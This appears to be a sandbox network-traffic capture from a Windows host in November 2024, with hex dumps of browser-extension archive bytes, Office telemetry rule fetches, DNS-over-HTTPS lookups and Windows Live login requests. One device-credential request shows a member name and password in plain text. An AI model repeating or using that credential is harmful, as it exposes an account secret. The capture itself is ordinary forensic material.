2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49827	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 23:11:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 23:11:50 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 23:10:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: c907a000-16f3-4b07-8a77-8f4773b31dbd PPServer: PPV: 30 H: SN1PEPF0002FA95 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 23:11:49 GMT Connection: close Content-Length: 1276
2024-11-21 23:11:50 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49828	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:49 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-21 23:11:49 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 7a 74 68 6b 6e 69 6f 61 74 66 73 66 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 46 61 5f 3d 4b 3a 67 67 32 6f 40 49 43 44 43 49 2c 71 44 73 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02azthknioatfsfq</Membername><Password>Fa_=K:gg2o@ICDCI,qDs</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-21 23:12:02 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 21 Nov 2024 23:10:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: 465df581-7320-4216-8e0a-cf8657af511a PPServer: PPV: 30 H: BL02EPF0001D949 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 23:12:01 GMT Connection: close Content-Length: 17166
2024-11-21 23:12:02 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 34 33 42 38 39 37 43 42 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 31 63 62 64 39 66 38 62 2d 63 63 32 64 2d 34 35 63 36 2d 38 66 30 63 2d 30 63 38 39 37 36 37 63 65 35 39 66 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018801043B897CB</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="1cbd9f8b-cc2d-45c6-8f0c-0c89767ce59f" LicenseID="3252b20c-d425-4711
2024-11-21 23:12:02 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:49 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231149Z-174c587ffdfcj798hC1TEB9bq400000000pg00000000x71s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49835	162.159.61.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:49 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:49 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c6ffd81c409-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:49 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49845	162.159.61.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:49 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:49 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c7009b14262-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:49 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f8 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49844	172.64.41.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:49 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c70acb24386-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f5 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:50 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:50 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231150Z-174c587ffdfb74xqhC1TEBhabc00000000mg00000000dfye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:50 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
